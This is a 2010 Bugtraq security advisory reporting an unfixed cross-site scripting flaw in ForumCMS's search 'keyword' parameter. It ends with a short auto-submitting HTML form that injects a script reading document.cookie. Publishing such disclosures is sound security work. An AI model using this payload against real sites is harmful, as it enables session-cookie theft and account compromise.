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XSS vulnerability in ForumCMS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS vulnerability in ForumCMS
- From: advisory@xxxxxxxxxxx
- Date: Thu, 24 Jun 2010 16:57:29 +0200 (CEST)
Vulnerability ID: HTB22428
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_forumcms.html
Product: ForumCMS
Vendor: Forum Web Design
Vulnerable Version: Current at 08.06.2010 and Probably Prior Versions
Vendor Notification: 10 June 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "search/results" script to
properly sanitize user-supplied input in "keyword" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action=http://host/cms/ForumCMS/page/search/results method=POST name=main>
<input type=hidden name=keyword value="<script>alert(document.cookie)</script>"
>
</form>
<script>
document.main.submit();
</script>